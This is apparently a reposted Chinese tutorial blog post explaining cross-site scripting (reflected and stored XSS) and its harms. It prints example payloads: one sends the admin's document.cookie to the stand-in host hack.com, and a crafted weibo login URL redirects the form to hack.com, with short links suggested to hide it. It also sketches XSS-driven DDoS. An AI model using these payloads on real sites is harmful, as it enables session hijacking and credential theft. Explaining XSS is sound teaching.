談論XSS


XSS 叫跨站腳本攻擊(Cross Site Script),那么XSS原本應該叫做CSS,但是由於CSS的簡稱已經被連級樣式表 使用了,所以就換個稱謂XSS。

為什么叫做跨站腳本攻擊呢?

它的意思就是在別人的網站上嵌入腳本,而這個腳本原本不是屬於這個網站的。這個解釋很直觀吧。

怎么嵌入腳本呢?

image

比如這么個搜索結果頁,當用戶搜索test的時候,頁面會顯示“搜索關鍵詞:test”

這個時候,這里的test就很有可能會出現xss漏洞,如果該頁面是直接將用戶輸入的東西“返回”到頁面上,那么存在的xss漏洞就可以這樣利用:

輸入:<script>alert(1);</scrip>

那么頁面就會跳出alert(1);

這種XSS叫做反射性XSS。

 

再談論另外一種場景,每個網站都有反饋框。允許用戶反饋數據給后台。

而這個后台一般都是管理員進行審核,會在管理后台展示。

如果一個<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反饋數據由用戶輸入

然后這個數據“直接”返回到管理后台上,那么這個時候,管理后台管理員的cookie就被作為參數傳遞到http://hack.com 了。后面黑客就可以使用cookie來做登錄管理后台了。

這種XSS由於攻擊代碼存儲進數據庫了,所以叫做存儲型XSS。

危害

一般來說,存儲型XSS的危害性大於反射型XSS。因為反射型XSS只會影響到自己,而存儲型的XSS可能會影響到網站的其他用戶。

XSS可以如上面例子說的:

1 盜取cookie

2 釣魚

比如我將一段代碼注入進某個網站的支付頁面,這段js代碼做的事情是,動態控制這個支付頁面的Form表單,比如將這個form表單的html替換成目標網站一個相似的html。

或者另一個案例是使用反射型XSS,我預先生成一個url,這個url是一個有反射型xss漏洞的頁面。比如 document.getElementById(“loginForm”).action=”http://hack.com”http://weibo.com/login?username=<script>document.getElementById(“loginForm”).action=”http://hack.com”</script> ,然后我將這個頁面通過qq的群郵件發給qq群中的所有人,一旦有人點擊這個鏈接,那么就會進入微博登陸頁,萬一再輸入用戶名密碼,那么這個人的用戶名密碼就會被盜了。當然,這個案例有個問題,url太假了,怎么辦?短鏈接服務。現在有很多廠商提供了短連接的服務。那么最后的鏈接是實際看不出來問題的。

3 DDOS攻擊

當然這個前提是有大量用戶已經被XSS攻擊了,所以他們瀏覽的頁面已經被植入了代碼,這個代碼的作用就是循環向一個網站發送請求,如果有xss漏洞的這個網站是有大量用戶的,比如微博,那么后一個被DDOS攻擊的網站就真心慘了。

總之,XSS的危害就在於網站的頁面可以被隨意嵌入js代碼。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM